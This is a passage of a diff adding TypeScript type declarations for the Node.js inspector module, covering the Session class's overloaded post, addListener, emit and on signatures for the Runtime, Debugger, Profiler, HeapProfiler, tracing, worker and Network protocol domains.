Headers; + } + /** + * Request / response headers as keys / values of JSON object. + */ + interface Headers { + } + interface RequestWillBeSentEventDataType { + /** + * Request identifier. + */ + requestId: RequestId; + /** + * Request data. + */ + request: Request; + /** + * Timestamp. + */ + timestamp: MonotonicTime; + /** + * Timestamp. + */ + wallTime: TimeSinceEpoch; + } + interface ResponseReceivedEventDataType { + /** + * Request identifier. + */ + requestId: RequestId; + /** + * Timestamp. + */ + timestamp: MonotonicTime; + /** + * Resource type. + */ + type: ResourceType; + /** + * Response data. + */ + response: Response; + } + interface LoadingFailedEventDataType { + /** + * Request identifier. + */ + requestId: RequestId; + /** + * Timestamp. + */ + timestamp: MonotonicTime; + /** + * Resource type. + */ + type: ResourceType; + /** + * Error message. + */ + errorText: string; + } + interface LoadingFinishedEventDataType { + /** + * Request identifier. + */ + requestId: RequestId; + /** + * Timestamp. + */ + timestamp: MonotonicTime; + } + } + namespace NodeRuntime { + interface NotifyWhenWaitingForDisconnectParameterType { + enabled: boolean; + } + } + + /** + * The `inspector.Session` is used for dispatching messages to the V8 inspector + * back-end and receiving message responses and notifications. + */ + class Session extends EventEmitter { + /** + * Create a new instance of the inspector.Session class. + * The inspector session needs to be connected through `session.connect()` before the messages can be dispatched to the inspector backend. + */ + constructor(); + + /** + * Connects a session to the inspector back-end. + */ + connect(): void; + + /** + * Connects a session to the inspector back-end. + * An exception will be thrown if this API was not called on a Worker thread. + * @since v12.11.0 + */ + connectToMainThread(): void; + + /** + * Immediately close the session. All pending message callbacks will be called with an error. + * `session.connect()` will need to be called to be able to send messages again. + * Reconnected session will lose all inspector state, such as enabled agents or configured breakpoints. + */ + disconnect(): void; + + /** + * Posts a message to the inspector back-end. `callback` will be notified when + * a response is received. `callback` is a function that accepts two optional + * arguments: error and message-specific result. + * + * ```js + * session.post('Runtime.evaluate', { expression: '2 + 2' }, + * (error, { result }) => console.log(result)); + * // Output: { type: 'number', value: 4, description: '4' } + * ``` + * + * The latest version of the V8 inspector protocol is published on the + * [Chrome DevTools Protocol Viewer](https://chromedevtools.github.io/devtools-protocol/v8/). + * + * Node.js inspector supports all the Chrome DevTools Protocol domains declared + * by V8. Chrome DevTools Protocol domain provides an interface for interacting + * with one of the runtime agents used to inspect the application state and listen + * to the run-time events. + */ + post(method: string, callback?: (err: Error | null, params?: object) => void): void; + post(method: string, params?: object, callback?: (err: Error | null, params?: object) => void): void; + /** + * Returns supported domains. + */ + post(method: 'Schema.getDomains', callback?: (err: Error | null, params: Schema.GetDomainsReturnType) => void): void; + /** + * Evaluates expression on global object. + */ + post(method: 'Runtime.evaluate', params?: Runtime.EvaluateParameterType, callback?: (err: Error | null, params: Runtime.EvaluateReturnType) => void): void; + post(method: 'Runtime.evaluate', callback?: (err: Error | null, params: Runtime.EvaluateReturnType) => void): void; + /** + * Add handler to promise with given promise object id. + */ + post(method: 'Runtime.awaitPromise', params?: Runtime.AwaitPromiseParameterType, callback?: (err: Error | null, params: Runtime.AwaitPromiseReturnType) => void): void; + post(method: 'Runtime.awaitPromise', callback?: (err: Error | null, params: Runtime.AwaitPromiseReturnType) => void): void; + /** + * Calls function with given declaration on the given object. Object group of the result is inherited from the target object. + */ + post(method: 'Runtime.callFunctionOn', params?: Runtime.CallFunctionOnParameterType, callback?: (err: Error | null, params: Runtime.CallFunctionOnReturnType) => void): void; + post(method: 'Runtime.callFunctionOn', callback?: (err: Error | null, params: Runtime.CallFunctionOnReturnType) => void): void; + /** + * Returns properties of a given object. Object group of the result is inherited from the target object. + */ + post(method: 'Runtime.getProperties', params?: Runtime.GetPropertiesParameterType, callback?: (err: Error | null, params: Runtime.GetPropertiesReturnType) => void): void; + post(method: 'Runtime.getProperties', callback?: (err: Error | null, params: Runtime.GetPropertiesReturnType) => void): void; + /** + * Releases remote object with given id. + */ + post(method: 'Runtime.releaseObject', params?: Runtime.ReleaseObjectParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Runtime.releaseObject', callback?: (err: Error | null) => void): void; + /** + * Releases all remote objects that belong to a given group. + */ + post(method: 'Runtime.releaseObjectGroup', params?: Runtime.ReleaseObjectGroupParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Runtime.releaseObjectGroup', callback?: (err: Error | null) => void): void; + /** + * Tells inspected instance to run if it was waiting for debugger to attach. + */ + post(method: 'Runtime.runIfWaitingForDebugger', callback?: (err: Error | null) => void): void; + /** + * Enables reporting of execution contexts creation by means of executionContextCreated event. When the reporting gets enabled the event will be sent immediately for each existing execution context. + */ + post(method: 'Runtime.enable', callback?: (err: Error | null) => void): void; + /** + * Disables reporting of execution contexts creation. + */ + post(method: 'Runtime.disable', callback?: (err: Error | null) => void): void; + /** + * Discards collected exceptions and console API calls. + */ + post(method: 'Runtime.discardConsoleEntries', callback?: (err: Error | null) => void): void; + /** + * @experimental + */ + post(method: 'Runtime.setCustomObjectFormatterEnabled', params?: Runtime.SetCustomObjectFormatterEnabledParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Runtime.setCustomObjectFormatterEnabled', callback?: (err: Error | null) => void): void; + /** + * Compiles expression. + */ + post(method: 'Runtime.compileScript', params?: Runtime.CompileScriptParameterType, callback?: (err: Error | null, params: Runtime.CompileScriptReturnType) => void): void; + post(method: 'Runtime.compileScript', callback?: (err: Error | null, params: Runtime.CompileScriptReturnType) => void): void; + /** + * Runs script with given id in a given context. + */ + post(method: 'Runtime.runScript', params?: Runtime.RunScriptParameterType, callback?: (err: Error | null, params: Runtime.RunScriptReturnType) => void): void; + post(method: 'Runtime.runScript', callback?: (err: Error | null, params: Runtime.RunScriptReturnType) => void): void; + post(method: 'Runtime.queryObjects', params?: Runtime.QueryObjectsParameterType, callback?: (err: Error | null, params: Runtime.QueryObjectsReturnType) => void): void; + post(method: 'Runtime.queryObjects', callback?: (err: Error | null, params: Runtime.QueryObjectsReturnType) => void): void; + /** + * Returns all let, const and class variables from global scope. + */ + post( + method: 'Runtime.globalLexicalScopeNames', + params?: Runtime.GlobalLexicalScopeNamesParameterType, + callback?: (err: Error | null, params: Runtime.GlobalLexicalScopeNamesReturnType) => void + ): void; + post(method: 'Runtime.globalLexicalScopeNames', callback?: (err: Error | null, params: Runtime.GlobalLexicalScopeNamesReturnType) => void): void; + /** + * Enables debugger for the given page. Clients should not assume that the debugging has been enabled until the result for this command is received. + */ + post(method: 'Debugger.enable', callback?: (err: Error | null, params: Debugger.EnableReturnType) => void): void; + /** + * Disables debugger for given page. + */ + post(method: 'Debugger.disable', callback?: (err: Error | null) => void): void; + /** + * Activates / deactivates all breakpoints on the page. + */ + post(method: 'Debugger.setBreakpointsActive', params?: Debugger.SetBreakpointsActiveParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Debugger.setBreakpointsActive', callback?: (err: Error | null) => void): void; + /** + * Makes page not interrupt on any pauses (breakpoint, exception, dom exception etc). + */ + post(method: 'Debugger.setSkipAllPauses', params?: Debugger.SetSkipAllPausesParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Debugger.setSkipAllPauses', callback?: (err: Error | null) => void): void; + /** + * Sets JavaScript breakpoint at given location specified either by URL or URL regex. Once this command is issued, all existing parsed scripts will have breakpoints resolved and returned in locations property. Further matching script parsing will result in subsequent breakpointResolved events issued. This logical breakpoint will survive page reloads. + */ + post(method: 'Debugger.setBreakpointByUrl', params?: Debugger.SetBreakpointByUrlParameterType, callback?: (err: Error | null, params: Debugger.SetBreakpointByUrlReturnType) => void): void; + post(method: 'Debugger.setBreakpointByUrl', callback?: (err: Error | null, params: Debugger.SetBreakpointByUrlReturnType) => void): void; + /** + * Sets JavaScript breakpoint at a given location. + */ + post(method: 'Debugger.setBreakpoint', params?: Debugger.SetBreakpointParameterType, callback?: (err: Error | null, params: Debugger.SetBreakpointReturnType) => void): void; + post(method: 'Debugger.setBreakpoint', callback?: (err: Error | null, params: Debugger.SetBreakpointReturnType) => void): void; + /** + * Removes JavaScript breakpoint. + */ + post(method: 'Debugger.removeBreakpoint', params?: Debugger.RemoveBreakpointParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Debugger.removeBreakpoint', callback?: (err: Error | null) => void): void; + /** + * Returns possible locations for breakpoint. scriptId in start and end range locations should be the same. + */ + post( + method: 'Debugger.getPossibleBreakpoints', + params?: Debugger.GetPossibleBreakpointsParameterType, + callback?: (err: Error | null, params: Debugger.GetPossibleBreakpointsReturnType) => void + ): void; + post(method: 'Debugger.getPossibleBreakpoints', callback?: (err: Error | null, params: Debugger.GetPossibleBreakpointsReturnType) => void): void; + /** + * Continues execution until specific location is reached. + */ + post(method: 'Debugger.continueToLocation', params?: Debugger.ContinueToLocationParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Debugger.continueToLocation', callback?: (err: Error | null) => void): void; + /** + * @experimental + */ + post(method: 'Debugger.pauseOnAsyncCall', params?: Debugger.PauseOnAsyncCallParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Debugger.pauseOnAsyncCall', callback?: (err: Error | null) => void): void; + /** + * Steps over the statement. + */ + post(method: 'Debugger.stepOver', callback?: (err: Error | null) => void): void; + /** + * Steps into the function call. + */ + post(method: 'Debugger.stepInto', params?: Debugger.StepIntoParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Debugger.stepInto', callback?: (err: Error | null) => void): void; + /** + * Steps out of the function call. + */ + post(method: 'Debugger.stepOut', callback?: (err: Error | null) => void): void; + /** + * Stops on the next JavaScript statement. + */ + post(method: 'Debugger.pause', callback?: (err: Error | null) => void): void; + /** + * This method is deprecated - use Debugger.stepInto with breakOnAsyncCall and Debugger.pauseOnAsyncTask instead. Steps into next scheduled async task if any is scheduled before next pause. Returns success when async task is actually scheduled, returns error if no task were scheduled or another scheduleStepIntoAsync was called. + * @experimental + */ + post(method: 'Debugger.scheduleStepIntoAsync', callback?: (err: Error | null) => void): void; + /** + * Resumes JavaScript execution. + */ + post(method: 'Debugger.resume', callback?: (err: Error | null) => void): void; + /** + * Returns stack trace with given stackTraceId. + * @experimental + */ + post(method: 'Debugger.getStackTrace', params?: Debugger.GetStackTraceParameterType, callback?: (err: Error | null, params: Debugger.GetStackTraceReturnType) => void): void; + post(method: 'Debugger.getStackTrace', callback?: (err: Error | null, params: Debugger.GetStackTraceReturnType) => void): void; + /** + * Searches for given string in script content. + */ + post(method: 'Debugger.searchInContent', params?: Debugger.SearchInContentParameterType, callback?: (err: Error | null, params: Debugger.SearchInContentReturnType) => void): void; + post(method: 'Debugger.searchInContent', callback?: (err: Error | null, params: Debugger.SearchInContentReturnType) => void): void; + /** + * Edits JavaScript source live. + */ + post(method: 'Debugger.setScriptSource', params?: Debugger.SetScriptSourceParameterType, callback?: (err: Error | null, params: Debugger.SetScriptSourceReturnType) => void): void; + post(method: 'Debugger.setScriptSource', callback?: (err: Error | null, params: Debugger.SetScriptSourceReturnType) => void): void; + /** + * Restarts particular call frame from the beginning. + */ + post(method: 'Debugger.restartFrame', params?: Debugger.RestartFrameParameterType, callback?: (err: Error | null, params: Debugger.RestartFrameReturnType) => void): void; + post(method: 'Debugger.restartFrame', callback?: (err: Error | null, params: Debugger.RestartFrameReturnType) => void): void; + /** + * Returns source for the script with given id. + */ + post(method: 'Debugger.getScriptSource', params?: Debugger.GetScriptSourceParameterType, callback?: (err: Error | null, params: Debugger.GetScriptSourceReturnType) => void): void; + post(method: 'Debugger.getScriptSource', callback?: (err: Error | null, params: Debugger.GetScriptSourceReturnType) => void): void; + /** + * Defines pause on exceptions state. Can be set to stop on all exceptions, uncaught exceptions or no exceptions. Initial pause on exceptions state is none. + */ + post(method: 'Debugger.setPauseOnExceptions', params?: Debugger.SetPauseOnExceptionsParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Debugger.setPauseOnExceptions', callback?: (err: Error | null) => void): void; + /** + * Evaluates expression on a given call frame. + */ + post(method: 'Debugger.evaluateOnCallFrame', params?: Debugger.EvaluateOnCallFrameParameterType, callback?: (err: Error | null, params: Debugger.EvaluateOnCallFrameReturnType) => void): void; + post(method: 'Debugger.evaluateOnCallFrame', callback?: (err: Error | null, params: Debugger.EvaluateOnCallFrameReturnType) => void): void; + /** + * Changes value of variable in a callframe. Object-based scopes are not supported and must be mutated manually. + */ + post(method: 'Debugger.setVariableValue', params?: Debugger.SetVariableValueParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Debugger.setVariableValue', callback?: (err: Error | null) => void): void; + /** + * Changes return value in top frame. Available only at return break position. + * @experimental + */ + post(method: 'Debugger.setReturnValue', params?: Debugger.SetReturnValueParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Debugger.setReturnValue', callback?: (err: Error | null) => void): void; + /** + * Enables or disables async call stacks tracking. + */ + post(method: 'Debugger.setAsyncCallStackDepth', params?: Debugger.SetAsyncCallStackDepthParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Debugger.setAsyncCallStackDepth', callback?: (err: Error | null) => void): void; + /** + * Replace previous blackbox patterns with passed ones. Forces backend to skip stepping/pausing in scripts with url matching one of the patterns. VM will try to leave blackboxed script by performing 'step in' several times, finally resorting to 'step out' if unsuccessful. + * @experimental + */ + post(method: 'Debugger.setBlackboxPatterns', params?: Debugger.SetBlackboxPatternsParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Debugger.setBlackboxPatterns', callback?: (err: Error | null) => void): void; + /** + * Makes backend skip steps in the script in blackboxed ranges. VM will try leave blacklisted scripts by performing 'step in' several times, finally resorting to 'step out' if unsuccessful. Positions array contains positions where blackbox state is changed. First interval isn't blackboxed. Array should be sorted. + * @experimental + */ + post(method: 'Debugger.setBlackboxedRanges', params?: Debugger.SetBlackboxedRangesParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Debugger.setBlackboxedRanges', callback?: (err: Error | null) => void): void; + /** + * Enables console domain, sends the messages collected so far to the client by means of the messageAdded notification. + */ + post(method: 'Console.enable', callback?: (err: Error | null) => void): void; + /** + * Disables console domain, prevents further console messages from being reported to the client. + */ + post(method: 'Console.disable', callback?: (err: Error | null) => void): void; + /** + * Does nothing. + */ + post(method: 'Console.clearMessages', callback?: (err: Error | null) => void): void; + post(method: 'Profiler.enable', callback?: (err: Error | null) => void): void; + post(method: 'Profiler.disable', callback?: (err: Error | null) => void): void; + /** + * Changes CPU profiler sampling interval. Must be called before CPU profiles recording started. + */ + post(method: 'Profiler.setSamplingInterval', params?: Profiler.SetSamplingIntervalParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Profiler.setSamplingInterval', callback?: (err: Error | null) => void): void; + post(method: 'Profiler.start', callback?: (err: Error | null) => void): void; + post(method: 'Profiler.stop', callback?: (err: Error | null, params: Profiler.StopReturnType) => void): void; + /** + * Enable precise code coverage. Coverage data for JavaScript executed before enabling precise code coverage may be incomplete. Enabling prevents running optimized code and resets execution counters. + */ + post(method: 'Profiler.startPreciseCoverage', params?: Profiler.StartPreciseCoverageParameterType, callback?: (err: Error | null) => void): void; + post(method: 'Profiler.startPreciseCoverage', callback?: (err: Error | null) => void): void; + /** + * Disable precise code coverage. Disabling releases unnecessary execution count records and allows executing optimized code. + */ + post(method: 'Profiler.stopPreciseCoverage', callback?: (err: Error | null) => void): void; + /** + * Collect coverage data for the current isolate, and resets execution counters. Precise code coverage needs to have started. + */ + post(method: 'Profiler.takePreciseCoverage', callback?: (err: Error | null, params: Profiler.TakePreciseCoverageReturnType) => void): void; + /** + * Collect coverage data for the current isolate. The coverage data may be incomplete due to garbage collection. + */ + post(method: 'Profiler.getBestEffortCoverage', callback?: (err: Error | null, params: Profiler.GetBestEffortCoverageReturnType) => void): void; + post(method: 'HeapProfiler.enable', callback?: (err: Error | null) => void): void; + post(method: 'HeapProfiler.disable', callback?: (err: Error | null) => void): void; + post(method: 'HeapProfiler.startTrackingHeapObjects', params?: HeapProfiler.StartTrackingHeapObjectsParameterType, callback?: (err: Error | null) => void): void; + post(method: 'HeapProfiler.startTrackingHeapObjects', callback?: (err: Error | null) => void): void; + post(method: 'HeapProfiler.stopTrackingHeapObjects', params?: HeapProfiler.StopTrackingHeapObjectsParameterType, callback?: (err: Error | null) => void): void; + post(method: 'HeapProfiler.stopTrackingHeapObjects', callback?: (err: Error | null) => void): void; + post(method: 'HeapProfiler.takeHeapSnapshot', params?: HeapProfiler.TakeHeapSnapshotParameterType, callback?: (err: Error | null) => void): void; + post(method: 'HeapProfiler.takeHeapSnapshot', callback?: (err: Error | null) => void): void; + post(method: 'HeapProfiler.collectGarbage', callback?: (err: Error | null) => void): void; + post( + method: 'HeapProfiler.getObjectByHeapObjectId', + params?: HeapProfiler.GetObjectByHeapObjectIdParameterType, + callback?: (err: Error | null, params: HeapProfiler.GetObjectByHeapObjectIdReturnType) => void + ): void; + post(method: 'HeapProfiler.getObjectByHeapObjectId', callback?: (err: Error | null, params: HeapProfiler.GetObjectByHeapObjectIdReturnType) => void): void; + /** + * Enables console to refer to the node with given id via $x (see Command Line API for more details $x functions). + */ + post(method: 'HeapProfiler.addInspectedHeapObject', params?: HeapProfiler.AddInspectedHeapObjectParameterType, callback?: (err: Error | null) => void): void; + post(method: 'HeapProfiler.addInspectedHeapObject', callback?: (err: Error | null) => void): void; + post(method: 'HeapProfiler.getHeapObjectId', params?: HeapProfiler.GetHeapObjectIdParameterType, callback?: (err: Error | null, params: HeapProfiler.GetHeapObjectIdReturnType) => void): void; + post(method: 'HeapProfiler.getHeapObjectId', callback?: (err: Error | null, params: HeapProfiler.GetHeapObjectIdReturnType) => void): void; + post(method: 'HeapProfiler.startSampling', params?: HeapProfiler.StartSamplingParameterType, callback?: (err: Error | null) => void): void; + post(method: 'HeapProfiler.startSampling', callback?: (err: Error | null) => void): void; + post(method: 'HeapProfiler.stopSampling', callback?: (err: Error | null, params: HeapProfiler.StopSamplingReturnType) => void): void; + post(method: 'HeapProfiler.getSamplingProfile', callback?: (err: Error | null, params: HeapProfiler.GetSamplingProfileReturnType) => void): void; + /** + * Gets supported tracing categories. + */ + post(method: 'NodeTracing.getCategories', callback?: (err: Error | null, params: NodeTracing.GetCategoriesReturnType) => void): void; + /** + * Start trace events collection. + */ + post(method: 'NodeTracing.start', params?: NodeTracing.StartParameterType, callback?: (err: Error | null) => void): void; + post(method: 'NodeTracing.start', callback?: (err: Error | null) => void): void; + /** + * Stop trace events collection. Remaining collected events will be sent as a sequence of + * dataCollected events followed by tracingComplete event. + */ + post(method: 'NodeTracing.stop', callback?: (err: Error | null) => void): void; + /** + * Sends protocol message over session with given id. + */ + post(method: 'NodeWorker.sendMessageToWorker', params?: NodeWorker.SendMessageToWorkerParameterType, callback?: (err: Error | null) => void): void; + post(method: 'NodeWorker.sendMessageToWorker', callback?: (err: Error | null) => void): void; + /** + * Instructs the inspector to attach to running workers. Will also attach to new workers + * as they start + */ + post(method: 'NodeWorker.enable', params?: NodeWorker.EnableParameterType, callback?: (err: Error | null) => void): void; + post(method: 'NodeWorker.enable', callback?: (err: Error | null) => void): void; + /** + * Detaches from all running workers and disables attaching to new workers as they are started. + */ + post(method: 'NodeWorker.disable', callback?: (err: Error | null) => void): void; + /** + * Detached from the worker with given sessionId. + */ + post(method: 'NodeWorker.detach', params?: NodeWorker.DetachParameterType, callback?: (err: Error | null) => void): void; + post(method: 'NodeWorker.detach', callback?: (err: Error | null) => void): void; + /** + * Disables network tracking, prevents network events from being sent to the client. + */ + post(method: 'Network.disable', callback?: (err: Error | null) => void): void; + /** + * Enables network tracking, network events will now be delivered to the client. + */ + post(method: 'Network.enable', callback?: (err: Error | null) => void): void; + /** + * Enable the NodeRuntime events except by `NodeRuntime.waitingForDisconnect`. + */ + post(method: 'NodeRuntime.enable', callback?: (err: Error | null) => void): void; + /** + * Disable NodeRuntime events + */ + post(method: 'NodeRuntime.disable', callback?: (err: Error | null) => void): void; + /** + * Enable the `NodeRuntime.waitingForDisconnect`. + */ + post(method: 'NodeRuntime.notifyWhenWaitingForDisconnect', params?: NodeRuntime.NotifyWhenWaitingForDisconnectParameterType, callback?: (err: Error | null) => void): void; + post(method: 'NodeRuntime.notifyWhenWaitingForDisconnect', callback?: (err: Error | null) => void): void; + + addListener(event: string, listener: (...args: any[]) => void): this; + /** + * Emitted when any notification from the V8 Inspector is received. + */ + addListener(event: 'inspectorNotification', listener: (message: InspectorNotification) => void): this; + /** + * Issued when new execution context is created. + */ + addListener(event: 'Runtime.executionContextCreated', listener: (message: InspectorNotification) => void): this; + /** + * Issued when execution context is destroyed. + */ + addListener(event: 'Runtime.executionContextDestroyed', listener: (message: InspectorNotification) => void): this; + /** + * Issued when all executionContexts were cleared in browser + */ + addListener(event: 'Runtime.executionContextsCleared', listener: () => void): this; + /** + * Issued when exception was thrown and unhandled. + */ + addListener(event: 'Runtime.exceptionThrown', listener: (message: InspectorNotification) => void): this; + /** + * Issued when unhandled exception was revoked. + */ + addListener(event: 'Runtime.exceptionRevoked', listener: (message: InspectorNotification) => void): this; + /** + * Issued when console API was called. + */ + addListener(event: 'Runtime.consoleAPICalled', listener: (message: InspectorNotification) => void): this; + /** + * Issued when object should be inspected (for example, as a result of inspect() command line API call). + */ + addListener(event: 'Runtime.inspectRequested', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine parses script. This event is also fired for all known and uncollected scripts upon enabling debugger. + */ + addListener(event: 'Debugger.scriptParsed', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine fails to parse the script. + */ + addListener(event: 'Debugger.scriptFailedToParse', listener: (message: InspectorNotification) => void): this; + /** + * Fired when breakpoint is resolved to an actual script and location. + */ + addListener(event: 'Debugger.breakpointResolved', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine stopped on breakpoint or exception or any other stop criteria. + */ + addListener(event: 'Debugger.paused', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine resumed execution. + */ + addListener(event: 'Debugger.resumed', listener: () => void): this; + /** + * Issued when new console message is added. + */ + addListener(event: 'Console.messageAdded', listener: (message: InspectorNotification) => void): this; + /** + * Sent when new profile recording is started using console.profile() call. + */ + addListener(event: 'Profiler.consoleProfileStarted', listener: (message: InspectorNotification) => void): this; + addListener(event: 'Profiler.consoleProfileFinished', listener: (message: InspectorNotification) => void): this; + addListener(event: 'HeapProfiler.addHeapSnapshotChunk', listener: (message: InspectorNotification) => void): this; + addListener(event: 'HeapProfiler.resetProfiles', listener: () => void): this; + addListener(event: 'HeapProfiler.reportHeapSnapshotProgress', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend regularly sends a current value for last seen object id and corresponding timestamp. If the were changes in the heap since last event then one or more heapStatsUpdate events will be sent before a new lastSeenObjectId event. + */ + addListener(event: 'HeapProfiler.lastSeenObjectId', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend may send update for one or more fragments + */ + addListener(event: 'HeapProfiler.heapStatsUpdate', listener: (message: InspectorNotification) => void): this; + /** + * Contains an bucket of collected trace events. + */ + addListener(event: 'NodeTracing.dataCollected', listener: (message: InspectorNotification) => void): this; + /** + * Signals that tracing is stopped and there is no trace buffers pending flush, all data were + * delivered via dataCollected events. + */ + addListener(event: 'NodeTracing.tracingComplete', listener: () => void): this; + /** + * Issued when attached to a worker. + */ + addListener(event: 'NodeWorker.attachedToWorker', listener: (message: InspectorNotification) => void): this; + /** + * Issued when detached from the worker. + */ + addListener(event: 'NodeWorker.detachedFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Notifies about a new protocol message received from the session + * (session ID is provided in attachedToWorker notification). + */ + addListener(event: 'NodeWorker.receivedMessageFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Fired when page is about to send HTTP request. + */ + addListener(event: 'Network.requestWillBeSent', listener: (message: InspectorNotification) => void): this; + /** + * Fired when HTTP response is available. + */ + addListener(event: 'Network.responseReceived', listener: (message: InspectorNotification) => void): this; + addListener(event: 'Network.loadingFailed', listener: (message: InspectorNotification) => void): this; + addListener(event: 'Network.loadingFinished', listener: (message: InspectorNotification) => void): this; + /** + * This event is fired instead of `Runtime.executionContextDestroyed` when + * enabled. + * It is fired when the Node process finished all code execution and is + * waiting for all frontends to disconnect. + */ + addListener(event: 'NodeRuntime.waitingForDisconnect', listener: () => void): this; + /** + * This event is fired when the runtime is waiting for the debugger. For + * example, when inspector.waitingForDebugger is called + */ + addListener(event: 'NodeRuntime.waitingForDebugger', listener: () => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: 'inspectorNotification', message: InspectorNotification): boolean; + emit(event: 'Runtime.executionContextCreated', message: InspectorNotification): boolean; + emit(event: 'Runtime.executionContextDestroyed', message: InspectorNotification): boolean; + emit(event: 'Runtime.executionContextsCleared'): boolean; + emit(event: 'Runtime.exceptionThrown', message: InspectorNotification): boolean; + emit(event: 'Runtime.exceptionRevoked', message: InspectorNotification): boolean; + emit(event: 'Runtime.consoleAPICalled', message: InspectorNotification): boolean; + emit(event: 'Runtime.inspectRequested', message: InspectorNotification): boolean; + emit(event: 'Debugger.scriptParsed', message: InspectorNotification): boolean; + emit(event: 'Debugger.scriptFailedToParse', message: InspectorNotification): boolean; + emit(event: 'Debugger.breakpointResolved', message: InspectorNotification): boolean; + emit(event: 'Debugger.paused', message: InspectorNotification): boolean; + emit(event: 'Debugger.resumed'): boolean; + emit(event: 'Console.messageAdded', message: InspectorNotification): boolean; + emit(event: 'Profiler.consoleProfileStarted', message: InspectorNotification): boolean; + emit(event: 'Profiler.consoleProfileFinished', message: InspectorNotification): boolean; + emit(event: 'HeapProfiler.addHeapSnapshotChunk', message: InspectorNotification): boolean; + emit(event: 'HeapProfiler.resetProfiles'): boolean; + emit(event: 'HeapProfiler.reportHeapSnapshotProgress', message: InspectorNotification): boolean; + emit(event: 'HeapProfiler.lastSeenObjectId', message: InspectorNotification): boolean; + emit(event: 'HeapProfiler.heapStatsUpdate', message: InspectorNotification): boolean; + emit(event: 'NodeTracing.dataCollected', message: InspectorNotification): boolean; + emit(event: 'NodeTracing.tracingComplete'): boolean; + emit(event: 'NodeWorker.attachedToWorker', message: InspectorNotification): boolean; + emit(event: 'NodeWorker.detachedFromWorker', message: InspectorNotification): boolean; + emit(event: 'NodeWorker.receivedMessageFromWorker', message: InspectorNotification): boolean; + emit(event: 'Network.requestWillBeSent', message: InspectorNotification): boolean; + emit(event: 'Network.responseReceived', message: InspectorNotification): boolean; + emit(event: 'Network.loadingFailed', message: InspectorNotification): boolean; + emit(event: 'Network.loadingFinished', message: InspectorNotification): boolean; + emit(event: 'NodeRuntime.waitingForDisconnect'): boolean; + emit(event: 'NodeRuntime.waitingForDebugger'): boolean; + on(event: string, listener: (...args: any[]) => void): this; + /** + * Emitted when any notification from the V8 Inspector is received. + */ + on(event: 'inspectorNotification', listener: (message: InspectorNotification) => void): this; + /** + * Issued when new execution context is created. + */ + on(event: 'Runtime.executionContextCreated', listener: (message: InspectorNotification) => void): this; + /** + * Issued when execution context is destroyed. + */ + on(event: 'Runtime.executionContextDestroyed', listener: (message: InspectorNotification) => void): this; + /** + * Issued when all executionContexts were cleared in browser + */ + on(event: 'Runtime.executionContextsCleared', listener: () => void): this; + /** + * Issued when exception was thrown and unhandled. + */ + on(event: 'Runtime.exceptionThrown', listener: (message: InspectorNotification) => void): this; + /** + * Issued when unhandled exception was revoked. + */ + on(event: 'Runtime.exceptionRevoked', listener: (message: InspectorNotification) => void): this; + /** + * Issued when console API was called. + */ + on(event: 'Runtime.consoleAPICalled', listener: (message: InspectorNotification) => void): this; + /** + * Issued when object should be inspected (for example, as a result of inspect() command line API call). + */ + on(event: 'Runtime.inspectRequested', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine parses script. This event is also fired for all known and uncollected scripts upon enabling debugger. + */ + on(event: 'Debugger.scriptParsed', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine fails to parse the script. + */ + on(event: 'Debugger.scriptFailedToParse', listener: (message: InspectorNotification) => void): this; + /** + * Fired when breakpoint is resolved to an actual script and location. + */ + on(event: 'Debugger.breakpointResolved', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine stopped on breakpoint or exception or any other stop criteria. + */ + on(event: 'Debugger.paused', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine resumed execution. + */ + on(event: 'Debugger.resumed', listener: () => void): this; + /** + * Issued when new console message is added. + */ + on(event: 'Console.messageAdded', listener: (message: InspectorNotification) => void): this; + /** + * Sent when new profile recording is started using console.profile() call. + */ + on(event: 'Profiler.consoleProfileStarted', listener: (message: InspectorNotification) => void): this; + on(event: 'Profiler.consoleProfileFinished', listener: (message: InspectorNotification) => void): this; + on(event: 'HeapProfiler.addHeapSnapshotChunk', listener: (message: InspectorNotification) => void): this; + on(event: 'HeapProfiler.resetProfiles', listener: () => void): this; + on(event: 'HeapProfiler.reportHeapSnapshotProgress', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend regularly sends a current value for last seen object id and corresponding timestamp. If the were changes in the heap since last event then one or more heapStatsUpdate events will be sent before a new lastSeenObjectId event. + */ + on(event: 'HeapProfiler.lastSeenObjectId', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend may send update for one or more fragments + */ + on(event: 'HeapProfiler.heapStatsUpdate', listener: (message: InspectorNotification) => void): this; + /** + * Contains an bucket of collected trace events. + */ + on(event: 'NodeTracing.dataCollected', listener: (message: InspectorNotification) => void): this; + /** + * Signals that tracing is stopped and there is no trace buffers pending flush, all data were + * delivered via dataCollected events. + */ + on(event: 'NodeTracing.tracingComplete', listener: () => void): this; + /** + * Issued when attached to a worker. + */ + on(event: 'NodeWorker.attachedToWorker', listener: (message: InspectorNotification) => void): this; + /** + * Issued when detached from the worker. + */ + on(event: 'NodeWorker.detachedFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * 